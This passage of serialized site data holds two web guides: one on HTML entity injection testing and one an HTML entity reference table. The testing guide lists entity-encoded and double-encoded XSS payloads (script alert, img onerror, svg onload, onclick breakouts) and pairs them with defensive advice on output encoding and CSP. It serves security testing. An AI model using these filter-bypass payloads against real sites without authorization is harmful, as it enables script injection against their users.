content.",{"immutable":363},"\u002Fguides\u002Fhtml-entities-typography-symbols",{"title":121550,"description":122353},"guides\u002Fhtml-entities-typography-symbols","vnfBtzi7mD_lrhskJHtJCLrQ3XJEBR6oMlptjQqACpw",{"id":122360,"title":122361,"body":122362,"date":2070,"description":122647,"extension":361,"meta":122648,"navigation":363,"path":122649,"readingTime":1710,"seo":122650,"stem":122651,"__hash__":122652},"guides\u002Fguides\u002Fhtml-entity-injection-testing.md","HTML Entity Injection and Testing",{"type":8,"value":122363,"toc":122641},[122364,122367,122371,122382,122388,122427,122430,122433,122437,122440,122446,122469,122475,122495,122501,122535,122541,122568,122579,122581,122584,122616,122619,122623,122629,122632,122638],[16,122365,122366],{},"Security testing for web applications involves probing input fields and output rendering for vulnerabilities. One technique that proves especially useful is HTML entity injection testing—crafting payloads that leverage entity encoding to bypass sanitization filters and expose cross-site scripting (XSS) flaws. Understanding how entity injection works helps developers build more robust defenses and helps testers find vulnerabilities before attackers do.",[11,122368,122370],{"id":122369},"why-entity-encoding-matters-in-security-testing","Why Entity Encoding Matters in Security Testing",[16,122372,122373,122374,1459,122376,1877,122378,122381],{},"Sanitization filters often look for dangerous strings like ",[143,122375,34727],{},[143,122377,116765],{},[143,122379,122380],{},"onerror="," in their literal form. However, HTML entities provide an alternate representation of these same characters. If a filter checks for malicious patterns before the browser decodes entities, an attacker can slip encoded payloads past the filter while the browser still executes them.",[16,122383,122384,122385,122387],{},"For example, a filter that blocks ",[143,122386,34727],{}," might not catch:",[135,122389,122391],{"className":6417,"code":122390,"language":6419,"meta":141,"style":141},"&#60;script&#62;alert(1)&#60;\u002Fscript&#62;\n&lt;script&gt;alert(1)&lt;\u002Fscript&gt;\n",[143,122392,122393,122410],{"__ignoreMap":141},[1560,122394,122395,122397,122399,122401,122403,122405,122407],{"class":1562,"line":1563},[1560,122396,120372],{"class":1576},[1560,122398,11475],{"class":1570},[1560,122400,120393],{"class":1576},[1560,122402,119854],{"class":1570},[1560,122404,120372],{"class":1576},[1560,122406,119859],{"class":1570},[1560,122408,122409],{"class":1576},"&#62;\n",[1560,122411,122412,122414,122416,122418,122420,122422,122424],{"class":1562,"line":337},[1560,122413,116644],{"class":1576},[1560,122415,11475],{"class":1570},[1560,122417,116658],{"class":1576},[1560,122419,119854],{"class":1570},[1560,122421,116644],{"class":1576},[1560,122423,119859],{"class":1570},[1560,122425,122426],{"class":1576},"&gt;\n",[16,122428,122429],{},"Whether these payloads execute depends on the decoding order and the output context. If the application re-encodes the input before rendering, the entity-encoded script tags will display as text—the intended safe behavior. If the application outputs the encoded input inside an element that performs its own decoding, the script may execute.",[16,122431,122432],{},"The fundamental question entity injection testing answers: does the application decode user input and then re-encode it, or does it pass encoded content through to contexts where the browser decodes it unsafely?",[11,122434,122436],{"id":122435},"common-entity-injection-test-payloads","Common Entity Injection Test Payloads",[16,122438,122439],{},"Security testers use a taxonomy of payloads that target different decoding contexts. Each payload tests whether the application handles entity-encoded characters correctly in that context.",[16,122441,122442,122445],{},[47,122443,122444],{},"HTML body context payloads."," Test whether entity-encoded angle brackets are rendered as text or interpreted as markup:",[135,122447,122449],{"className":6417,"code":122448,"language":6419,"meta":141,"style":141},"&#60;img src=x onerror=alert(1)&#62;\n&lt;svg onload=alert(1)&gt;\n",[143,122450,122451,122460],{"__ignoreMap":141},[1560,122452,122453,122455,122458],{"class":1562,"line":1563},[1560,122454,120372],{"class":1576},[1560,122456,122457],{"class":1570},"img src=x onerror=alert(1)",[1560,122459,122409],{"class":1576},[1560,122461,122462,122464,122467],{"class":1562,"line":337},[1560,122463,116644],{"class":1576},[1560,122465,122466],{"class":1570},"svg onload=alert(1)",[1560,122468,122426],{"class":1576},[16,122470,122471,122474],{},[47,122472,122473],{},"Attribute context payloads."," Test whether entity-encoded quotes can break out of attribute values:",[135,122476,122478],{"className":6417,"code":122477,"language":6419,"meta":141,"style":141},"\" onclick=alert(1) \"\n&#34; onclick=alert(1) &#34;\n",[143,122479,122480,122485],{"__ignoreMap":141},[1560,122481,122482],{"class":1562,"line":1563},[1560,122483,122484],{"class":1570},"\" onclick=alert(1) \"\n",[1560,122486,122487,122489,122492],{"class":1562,"line":337},[1560,122488,120414],{"class":1576},[1560,122490,122491],{"class":1570}," onclick=alert(1) ",[1560,122493,122494],{"class":1576},"&#34;\n",[16,122496,122497,122500],{},[47,122498,122499],{},"JavaScript context payloads."," Test whether Unicode escape sequences or hex entities execute within script blocks:",[135,122502,122504],{"className":6417,"code":122503,"language":6419,"meta":141,"style":141},"\u003Cscript>var x = '\\u003c\\u0069\\u006d\\u0067\\u0020\\u0073\\u0072\\u0063\\u003d\\u0078\\u0020\\u006f\\u006e\\u0065\\u0072\\u0072\\u006f\\u0072\\u003d\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0031\\u0029\\u003e';\u003C\u002Fscript>\n",[143,122505,122506],{"__ignoreMap":141},[1560,122507,122508,122510,122512,122514,122516,122519,122521,122523,122526,122528,122531,122533],{"class":1562,"line":1563},[1560,122509,6431],{"class":1570},[1560,122511,11475],{"class":2484},[1560,122513,28226],{"class":1570},[1560,122515,2497],{"class":1669},[1560,122517,122518],{"class":1570}," x ",[1560,122520,7297],{"class":1669},[1560,122522,9507],{"class":5634},[1560,122524,122525],{"class":1576},"\\u003c\\u0069\\u006d\\u0067\\u0020\\u0073\\u0072\\u0063\\u003d\\u0078\\u0020\\u006f\\u006e\\u0065\\u0072\\u0072\\u006f\\u0072\\u003d\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0031\\u0029\\u003e",[1560,122527,9361],{"class":5634},[1560,122529,122530],{"class":1570},";\u003C\u002F",[1560,122532,11475],{"class":2484},[1560,122534,6441],{"class":1570},[16,122536,122537,122540],{},[47,122538,122539],{},"Nested encoding payloads."," Test whether the application decodes multiple times, a vulnerability known as double-decoding:",[135,122542,122544],{"className":6417,"code":122543,"language":6419,"meta":141,"style":141},"&amp;lt;script&amp;gt;alert(1)&amp;lt;\u002Fscript&amp;gt;\n",[143,122545,122546],{"__ignoreMap":141},[1560,122547,122548,122550,122553,122555,122558,122560,122563,122565],{"class":1562,"line":1563},[1560,122549,98619],{"class":1576},[1560,122551,122552],{"class":1570},"lt;script",[1560,122554,98619],{"class":1576},[1560,122556,122557],{"class":1570},"gt;alert(1)",[1560,122559,98619],{"class":1576},[1560,122561,122562],{"class":1570},"lt;\u002Fscript",[1560,122564,98619],{"class":1576},[1560,122566,122567],{"class":1570},"gt;\n",[16,122569,122570,122571,122574,122575,122578],{},"If the application decodes once, the output becomes ",[143,122572,122573],{},"&lt;script&gt;alert(1)&lt;\u002Fscript&gt;","—safe entity-encoded text. If it decodes twice, the output becomes ",[143,122576,122577],{},"\u003Cscript>alert(1)\u003C\u002Fscript>","—executable markup.",[11,122580,3794],{"id":3793},[16,122582,122583],{},"A systematic approach to entity injection testing follows these steps:",[77,122585,122586,122592,122598,122604,122610],{},[44,122587,122588,122591],{},[47,122589,122590],{},"Identify input vectors."," Find all points where user-supplied data enters the application—form fields, URL parameters, HTTP headers, and API endpoints.",[44,122593,122594,122597],{},[47,122595,122596],{},"Determine output context."," Trace where the input appears in the response—HTML body, attributes, JavaScript, CSS, or URLs. Each context requires different encoding behavior.",[44,122599,122600,122603],{},[47,122601,122602],{},"Send entity-encoded payloads."," Submit input containing entity-encoded dangerous characters relevant to that context.",[44,122605,122606,122609],{},[47,122607,122608],{},"Analyze the response."," Check the raw HTML source, not the rendered page. Determine whether the application re-encodes the entities or passes them through.",[44,122611,122612,122615],{},[47,122613,122614],{},"Verify execution."," If the encoded payload appears intact in the output source, test whether the browser decodes and executes it in that context.",[16,122617,122618],{},"This workflow reveals whether the application applies context-aware encoding or relies on input-side filtering that entities can bypass.",[11,122620,122622],{"id":122621},"defensive-implications","Defensive Implications",[16,122624,122625,122626,122628],{},"The key takeaway for developers: output encoding must happen at the point of rendering, not at the point of input. Input validation reduces the attack surface but cannot replace context-aware output encoding. Frameworks like Vue, React, and Angular handle this automatically for their template contexts. For server-rendered HTML, use templating engines with built-in auto-encoding, such as Go's ",[143,122627,116914],{}," or Jinja2's autoescaping.",[16,122630,122631],{},"Additionally, Content Security Policy (CSP) headers provide a fallback defense. Even if an entity-encoded payload reaches an executable context, a strict CSP that disallows inline scripts will block execution.",[16,122633,122634,122635,122637],{},"For quick encoding of test payloads or verifying entity output, the ",[98,122636,121532],{"href":117644}," converts characters to their named and numeric-entity equivalents.",[2043,122639,122640],{},"html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":122642},[122643,122644,122645,122646],{"id":122369,"depth":337,"text":122370},{"id":122435,"depth":337,"text":122436},{"id":3793,"depth":337,"text":3794},{"id":122621,"depth":337,"text":122622},"How security testers use entity encoding to probe for XSS and injection vulnerabilities.",{},"\u002Fguides\u002Fhtml-entity-injection-testing",{"title":122361,"description":122647},"guides\u002Fhtml-entity-injection-testing","LwDvyx5xvJ-Z6sca-ePUzVvZA-PKdfW2UBFmKzkeOJo",{"id":122654,"title":122655,"body":122656,"date":2070,"description":123696,"extension":361,"meta":123697,"navigation":363,"path":118213,"readingTime":889,"seo":123698,"stem":123699,"__hash__":123700},"guides\u002Fguides\u002Fhtml-entity-reference.md","HTML Entity Reference: Named, Decimal, and Hex Formats",{"type":8,"value":122657,"toc":123678},[122658,122662,122665,122668,122672,122675,122801,122806,122810,123098,123102,123106,123109,123137,123140,123144,123149,123174,123190,123194,123197,123359,123362,123366,123446,123450,123510,123513,123517,123567,123571,123574,123599,123620,123622,123651,123653,123667,123669,123675],[11,122659,122661],{"id":122660},"what-are-html-entity-formats","What Are HTML Entity Formats?",[16,122663,122664],{},"HTML entities represent special characters using code sequences instead of the literal character. Three formats exist — named, decimal numeric, and hexadecimal numeric — and each serves a different purpose.",[16,122666,122667],{},"All three formats produce the same result. Choosing the right one depends on readability, compatibility, and the character you need.",[11,122669,122671],{"id":122670},"core-named-entities","Core Named Entities",[16,122673,122674],{},"These five named entities cover the characters that HTML itself reserves. You will use them constantly:",[193,122676,122677,122691],{},[196,122678,122679],{},[199,122680,122681,122683,122685,122687,122689],{},[202,122682,7809],{},[202,122684,117802],{},[202,122686,5271],{},[202,122688,4031],{},[202,122690,1775],{},[211,122692,122693,122717,122738,122759,122780],{},[199,122694,122695,122699,122703,122707,122711],{},[216,122696,122697],{},[143,122698,13530],{},[216,122700,122701],{},[143,122702,98619],{},[216,122704,122705],{},[143,122706,120184],{},[216,122708,122709],{},[143,122710,120201],{},[216,122712,122713,122714,122716],{},"Any time ",[143,122715,13530],{}," appears as data",[199,122718,122719,122723,122727,122731,122735],{},[216,122720,122721],{},[143,122722,6431],{},[216,122724,122725],{},[143,122726,116644],{},[216,122728,122729],{},[143,122730,120372],{},[216,122732,122733],{},[143,122734,120377],{},[216,122736,122737],{},"Less-than sign in text",[199,122739,122740,122744,122748,122752,122756],{},[216,122741,122742],{},[143,122743,28226],{},[216,122745,122746],{},[143,122747,116658],{},[216,122749,122750],{},[143,122751,120393],{},[216,122753,122754],{},[143,122755,120398],{},[216,122757,122758],{},"Greater-than sign in text",[199,122760,122761,122765,122769,122773,122777],{},[216,122762,122763],{},[143,122764,8721],{},[216,122766,122767],{},[143,122768,116672],{},[216,122770,122771],{},[143,122772,120414],{},[216,122774,122775],{},[143,122776,120419],{},[216,122778,122779],{},"Quotes inside attribute values",[199,122781,122782,122786,122790,122794,122798],{},[216,122783,122784],{},[143,122785,9361],{},[216,122787,122788],{},[143,122789,117781],{},[216,122791,122792],{},[143,122793,116686],{},[216,122795,122796],{},[143,122797,120439],{},[216,122799,122800],{},"Apostrophes inside attribute values",[16,122802,122803,122805],{},[47,122804,118614],{}," Encode these five characters every time they appear as data inside HTML. Failing to do so can break your markup or open XSS vulnerabilities.",[11,122807,122809],{"id":122808},"common-symbols","Common Symbols",[193,122811,122812,122826],{},[196,122813,122814],{},[199,122815,122816,122818,122820,122822,122824],{},[202,122817,7809],{},[202,122819,117802],{},[202,122821,5271],{},[202,122823,4031],{},[202,122825,207],{},[211,122827,122828,122846,122864,122882,122900,122918,122936,122954,122972,122990,123008,123026,123044,123062,123080],{},[199,122829,122830,122832,122836,122840,122844],{},[216,122831,118433],{},[216,122833,122834],{},[143,122835,118430],{},[216,122837,122838],{},[143,122839,120477],{},[216,122841,122842],{},[143,122843,120482],{},[216,122845,83562],{},[199,122847,122848,122850,122854,122858,122862],{},[216,122849,120489],{},[216,122851,122852],{},[143,122853,120494],{},[216,122855,122856],{},[143,122857,120499],{},[216,122859,122860],{},[143,122861,120504],{},[216,122863,120507],{},[199,122865,122866,122868,122872,122876,122880],{},[216,122867,120512],{},[216,122869,122870],{},[143,122871,120517],{},[216,122873,122874],{},[143,122875,120522],{},[216,122877,122878],{},[143,122879,120527],{},[216,122881,83568],{},[199,122883,122884,122886,122890,122894,122898],{},[216,122885,120712],{},[216,122887,122888],{},[143,122889,120717],{},[216,122891,122892],{},[143,122893,120722],{},[216,122895,122896],{},[143,122897,120727],{},[216,122899,120730],{},[199,122901,122902,122904,122908,122912,122916],{},[216,122903,120735],{},[216,122905,122906],{},[143,122907,120740],{},[216,122909,122910],{},[143,122911,120745],{},[216,122913,122914],{},[143,122915,120750],{},[216,122917,120753],{},[199,122919,122920,122922,122926,122930,122934],{},[216,122921,120758],{},[216,122923,122924],{},[143,122925,120763],{},[216,122927,122928],{},[143,122929,120768],{},[216,122931,122932],{},[143,122933,120773],{},[216,122935,120776],{},[199,122937,122938,122940,122944,122948,122952],{},[216,122939,120620],{},[216,122941,122942],{},[143,122943,120625],{},[216,122945,122946],{},[143,122947,120630],{},[216,122949,122950],{},[143,122951,120635],{},[216,122953,120638],{},[199,122955,122956,122958,122962,122966,122970],{},[216,122957,120643],{},[216,122959,122960],{},[143,122961,120648],{},[216,122963,122964],{},[143,122965,120653],{},[216,122967,122968],{},[143,122969,120658],{},[216,122971,120661],{},[199,122973,122974,122976,122980,122984,122988],{},[216,122975,120666],{},[216,122977,122978],{},[143,122979,120671],{},[216,122981,122982],{},[143,122983,120676],{},[216,122985,122986],{},[143,122987,120681],{},[216,122989,120684],{},[199,122991,122992,122994,122998,123002,123006],{},[216,122993,120689],{},[216,122995,122996],{},[143,122997,120694],{},[216,122999,123000],{},[143,123001,120699],{},[216,123003,123004],{},[143,123005,120704],{},[216,123007,120707],{},[199,123009,123010,123012,123016,123020,123024],{},[216,123011,3060],{},[216,123013,123014],{},[143,123015,117817],{},[216,123017,123018],{},[143,123019,117688],{},[216,123021,123022],{},[143,123023,120546],{},[216,123025,120549],{},[199,123027,123028,123030,123034,123038,123042],{},[216,123029,1811],{},[216,123031,123032],{},[143,123033,117833],{},[216,123035,123036],{},[143,123037,117838],{},[216,123039,123040],{},[143,123041,120566],{},[216,123043,120569],{},[199,123045,123046,123048,123052,123056,123060],{},[216,123047,120574],{},[216,123049,123050],{},[143,123051,120579],{},[216,123053,123054],{},[143,123055,120584],{},[216,123057,123058],{},[143,123059,120589],{},[216,123061,120592],{},[199,123063,123064,123066,123070,123074,123078],{},[216,123065,120597],{},[216,123067,123068],{},[143,123069,120602],{},[216,123071,123072],{},[143,123073,120607],{},[216,123075,123076],{},[143,123077,120612],{},[216,123079,120615],{},[199,123081,123082,123084,123088,123092,123096],{},[216,123083],{},[216,123085,123086],{},[143,123087,120451],{},[216,123089,123090],{},[143,123091,120456],{},[216,123093,123094],{},[143,123095,120461],{},[216,123097,120464],{},[11,123099,123101],{"id":123100},"numeric-entities-explained","Numeric Entities Explained",[33,123103,123105],{"id":123104},"decimal-format","Decimal format",[16,123107,123108],{},"Decimal entities use the character's Unicode code point in base 10:",[135,123110,123112],{"className":6417,"code":123111,"language":6419,"meta":141,"style":141},"\u003Cp>Copyright &#169; 2026\u003C\u002Fp>\n\u003C!-- Renders: Copyright © 2026 -->\n",[143,123113,123114,123132],{"__ignoreMap":141},[1560,123115,123116,123118,123120,123123,123125,123128,123130],{"class":1562,"line":1563},[1560,123117,6431],{"class":1570},[1560,123119,16],{"class":2484},[1560,123121,123122],{"class":1570},">Copyright ",[1560,123124,120477],{"class":1576},[1560,123126,123127],{"class":1570}," 2026\u003C\u002F",[1560,123129,16],{"class":2484},[1560,123131,6441],{"class":1570},[1560,123133,123134],{"class":1562,"line":337},[1560,123135,123136],{"class":1649},"\u003C!-- Renders: Copyright © 2026 -->\n",[16,123138,123139],{},"The decimal value matches the number you find in Unicode charts — U+00A9 has decimal value 169.",[33,123141,123143],{"id":123142},"hexadecimal-format","Hexadecimal format",[16,123145,123146,123147,8037],{},"Hex entities use the code point in base 16, prefixed with ",[143,123148,24787],{},[135,123150,123152],{"className":6417,"code":123151,"language":6419,"meta":141,"style":141},"\u003Cp>Copyright &#xA9; 2026\u003C\u002Fp>\n\u003C!-- Renders: Copyright © 2026 -->\n",[143,123153,123154,123170],{"__ignoreMap":141},[1560,123155,123156,123158,123160,123162,123164,123166,123168],{"class":1562,"line":1563},[1560,123157,6431],{"class":1570},[1560,123159,16],{"class":2484},[1560,123161,123122],{"class":1570},[1560,123163,120482],{"class":1576},[1560,123165,123127],{"class":1570},[1560,123167,16],{"class":2484},[1560,123169,6441],{"class":1570},[1560,123171,123172],{"class":1562,"line":337},[1560,123173,123136],{"class":1649},[16,123175,123176,123177,123179,123180,123183,123184,123187,123188,468],{},"Hex format maps directly to the standard Unicode notation. U+00A9 becomes ",[143,123178,120216],{}," — you simply drop the ",[143,123181,123182],{},"U+"," prefix and add ",[143,123185,123186],{},"&#x"," ... ",[143,123189,36973],{},[33,123191,123193],{"id":123192},"when-numeric-is-your-only-option","When numeric is your only option",[16,123195,123196],{},"Most characters beyond the common symbols lack named entities:",[193,123198,123199,123213],{},[196,123200,123201],{},[199,123202,123203,123205,123207,123209,123211],{},[202,123204,7809],{},[202,123206,120159],{},[202,123208,5271],{},[202,123210,4031],{},[202,123212,207],{},[211,123214,123215,123233,123251,123269,123287,123305,123323,123343],{},[199,123216,123217,123219,123221,123226,123231],{},[216,123218,121207],{},[216,123220,3060],{},[216,123222,123223],{},[143,123224,123225],{},"&#8800;",[216,123227,123228],{},[143,123229,123230],{},"&#x2260;",[216,123232,122065],{},[199,123234,123235,123237,123239,123244,123249],{},[216,123236,121201],{},[216,123238,3060],{},[216,123240,123241],{},[143,123242,123243],{},"&#8804;",[216,123245,123246],{},[143,123247,123248],{},"&#x2264;",[216,123250,122041],{},[199,123252,123253,123255,123257,123262,123267],{},[216,123254,121204],{},[216,123256,3060],{},[216,123258,123259],{},[143,123260,123261],{},"&#8805;",[216,123263,123264],{},[143,123265,123266],{},"&#x2265;",[216,123268,122053],{},[199,123270,123271,123273,123275,123280,123285],{},[216,123272,121221],{},[216,123274,3060],{},[216,123276,123277],{},[143,123278,123279],{},"&#8594;",[216,123281,123282],{},[143,123283,123284],{},"&#x2192;",[216,123286,122155],{},[199,123288,123289,123291,123293,123298,123303],{},[216,123290,121224],{},[216,123292,3060],{},[216,123294,123295],{},[143,123296,123297],{},"&#8592;",[216,123299,123300],{},[143,123301,123302],{},"&#x2190;",[216,123304,122143],{},[199,123306,123307,123309,123311,123316,123320],{},[216,123308,121246],{},[216,123310,3060],{},[216,123312,123313],{},[143,123314,123315],{},"&#8377;",[216,123317,123318],{},[143,123319,121975],{},[216,123321,123322],{},"Indian rupee",[199,123324,123325,123328,123330,123335,123340],{},[216,123326,123327],{},"₽",[216,123329,3060],{},[216,123331,123332],{},[143,123333,123334],{},"&#8381;",[216,123336,123337],{},[143,123338,123339],{},"&#x20BD;",[216,123341,123342],{},"Russian ruble",[199,123344,123345,123347,123349,123353,123357],{},[216,123346,117892],{},[216,123348,3060],{},[216,123350,123351],{},[143,123352,117902],{},[216,123354,123355],{},[143,123356,122282],{},[216,123358,117905],{},[16,123360,123361],{},"If a character has no named entity, use decimal or hex. Both work identically in all modern browsers.",[11,123363,123365],{"id":123364},"when-to-use-which-format","When to Use Which Format",[193,123367,123368,123378],{},[196,123369,123370],{},[199,123371,123372,123374,123376],{},[202,123373,2973],{},[202,123375,29335],{},[202,123377,23393],{},[211,123379,123380,123392,123402,123413,123422,123433],{},[199,123381,123382,123387,123389],{},[216,123383,123384,123385,1525],{},"Core five (",[143,123386,118176],{},[216,123388,120159],{},[216,123390,123391],{},"Most readable, universally understood",[199,123393,123394,123397,123399],{},[216,123395,123396],{},"Common symbols (©, €, —)",[216,123398,120159],{},[216,123400,123401],{},"Self-documenting in source code",[199,123403,123404,123407,123410],{},[216,123405,123406],{},"Rare symbols, math, arrows",[216,123408,123409],{},"Decimal or hex",[216,123411,123412],{},"No named entity exists",[199,123414,123415,123417,123419],{},[216,123416,87525],{},[216,123418,5271],{},[216,123420,123421],{},"Most reliable across email clients",[199,123423,123424,123427,123430],{},[216,123425,123426],{},"XML documents",[216,123428,123429],{},"Named (limited) or decimal",[216,123431,123432],{},"XML supports only 5 named entities",[199,123434,123435,123438,123440],{},[216,123436,123437],{},"Dynamic output from JavaScript",[216,123439,4031],{},[216,123441,123442,123443,1525],{},"Matches Unicode escape syntax (",[143,123444,123445],{},"\\uXXXX",[33,123447,123449],{"id":123448},"readability-comparison","Readability comparison",[135,123451,123453],{"className":6417,"code":123452,"language":6419,"meta":141,"style":141},"\u003C!-- Same character, three formats -->\n\u003Cp>Price: &euro;49\u003C\u002Fp>\n\u003Cp>Price: &#8364;49\u003C\u002Fp>\n\u003Cp>Price: &#x20AC;49\u003C\u002Fp>\n",[143,123454,123455,123460,123478,123494],{"__ignoreMap":141},[1560,123456,123457],{"class":1562,"line":1563},[1560,123458,123459],{"class":1649},"\u003C!-- Same character, three formats -->\n",[1560,123461,123462,123464,123466,123469,123471,123474,123476],{"class":1562,"line":337},[1560,123463,6431],{"class":1570},[1560,123465,16],{"class":2484},[1560,123467,123468],{"class":1570},">Price: ",[1560,123470,120717],{"class":1576},[1560,123472,123473],{"class":1570},"49\u003C\u002F",[1560,123475,16],{"class":2484},[1560,123477,6441],{"class":1570},[1560,123479,123480,123482,123484,123486,123488,123490,123492],{"class":1562,"line":343},[1560,123481,6431],{"class":1570},[1560,123483,16],{"class":2484},[1560,123485,123468],{"class":1570},[1560,123487,120722],{"class":1576},[1560,123489,123473],{"class":1570},[1560,123491,16],{"class":2484},[1560,123493,6441],{"class":1570},[1560,123495,123496,123498,123500,123502,123504,123506,123508],{"class":1562,"line":365},[1560,123497,6431],{"class":1570},[1560,123499,16],{"class":2484},[1560,123501,123468],{"class":1570},[1560,123503,120727],{"class":1576},[1560,123505,123473],{"class":1570},[1560,123507,16],{"class":2484},[1560,123509,6441],{"class":1570},[16,123511,123512],{},"All three render identically, but the named version communicates intent fastest when reading source code.",[11,123514,123516],{"id":123515},"compatibility-notes","Compatibility Notes",[41,123518,123519,123529,123545,123555,123561],{},[44,123520,123521,123524,123525,123528],{},[47,123522,123523],{},"HTML4"," supports roughly 250 named entities. ",[47,123526,123527],{},"HTML5"," expanded this to over 2,000.",[44,123530,123531,123533,123534,1459,123536,1459,123538,1459,123540,1459,123542,123544],{},[47,123532,84593],{}," recognizes only five named entities: ",[143,123535,98619],{},[143,123537,116644],{},[143,123539,116658],{},[143,123541,116672],{},[143,123543,117781],{},". Use numeric entities for everything else in XML.",[44,123546,123547,123551,123552,123554],{},[47,123548,123549],{},[143,123550,117781],{}," was invalid in HTML4 but works in HTML5 and XML. Use ",[143,123553,116686],{}," for maximum compatibility.",[44,123556,123557,123560],{},[47,123558,123559],{},"Numeric entities"," work everywhere — HTML4, HTML5, XML, XHTML, and all browsers.",[44,123562,123563,123566],{},[47,123564,123565],{},"UTF-8 documents"," can often display characters directly without entities, but you still need entities for the core five to avoid parsing conflicts.",[11,123568,123570],{"id":123569},"character-sets-and-encoding","Character Sets and Encoding",[16,123572,123573],{},"Your document's character encoding determines how the browser interprets bytes before entity resolution occurs.",[135,123575,123577],{"className":6417,"code":123576,"language":6419,"meta":141,"style":141},"\u003C!-- Always declare UTF-8 in your HTML -->\n\u003Cmeta charset=\"utf-8\">\n",[143,123578,123579,123584],{"__ignoreMap":141},[1560,123580,123581],{"class":1562,"line":1563},[1560,123582,123583],{"class":1649},"\u003C!-- Always declare UTF-8 in your HTML -->\n",[1560,123585,123586,123588,123590,123592,123594,123597],{"class":1562,"line":337},[1560,123587,6431],{"class":1570},[1560,123589,108827],{"class":2484},[1560,123591,108830],{"class":1566},[1560,123593,7297],{"class":1570},[1560,123595,123596],{"class":5634},"\"utf-8\"",[1560,123598,6441],{"class":1570},[16,123600,123601,123602,1459,123604,1459,123606,123608,123609,1459,123611,1459,123613,1459,123615,1466,123617,123619],{},"With UTF-8, you can safely paste most characters directly: ",[143,123603,118433],{},[143,123605,120712],{},[143,123607,3060],{},". However, the characters ",[143,123610,6431],{},[143,123612,28226],{},[143,123614,13530],{},[143,123616,8721],{},[143,123618,9361],{}," still require entities when they appear as data — your charset does not change their structural meaning in HTML.",[11,123621,1355],{"id":1354},[41,123623,123624,123633,123639,123642,123645,123648],{},[44,123625,123626,123627,121089,123629,121092,123631,1525],{},"Three entity formats exist: named (",[143,123628,98619],{},[143,123630,120184],{},[143,123632,120201],{},[44,123634,123635,123636,123638],{},"Encode the core five characters (",[143,123637,118176],{},") every time they appear as data",[44,123640,123641],{},"Named entities improve source readability; numeric entities offer full Unicode coverage",[44,123643,123644],{},"Use decimal entities for email templates and XML where named support is limited",[44,123646,123647],{},"UTF-8 charset lets you write most characters directly, but reserved characters always need entities",[44,123649,123650],{},"Always include the semicolon — omitting it creates parser ambiguity",[11,123652,321],{"id":320},[41,123654,123655,123659,123663],{},[44,123656,123657],{},[98,123658,118208],{"href":118207},[44,123660,123661],{},[98,123662,119078],{"href":119077},[44,123664,123665],{},[98,123666,118220],{"href":118219},[11,123668,286],{"id":285},[16,123670,123671,123672,123674],{},"Look up, encode, and decode HTML entities instantly with our free ",[98,123673,118228],{"href":116496}," tool. Search by character or entity name and get all three formats at once.",[2043,123676,123677],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":123679},[123680,123681,123682,123683,123688,123691,123692,123693,123694,123695],{"id":122660,"depth":337,"text":122661},{"id":122670,"depth":337,"text":122671},{"id":122808,"depth":337,"text":122809},{"id":123100,"depth":337,"text":123101,"children":123684},[123685,123686,123687],{"id":123104,"depth":343,"text":123105},{"id":123142,"depth":343,"text":123143},{"id":123192,"depth":343,"text":123193},{"id":123364,"depth":337,"text":123365,"children":123689},[123690],{"id":123448,"depth":343,"text":123449},{"id":123515,"depth":337,"text":123516},{"id":123569,"depth":337,"text":123570},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Complete reference of HTML entities — named, decimal, and hexadecimal — for special characters in web 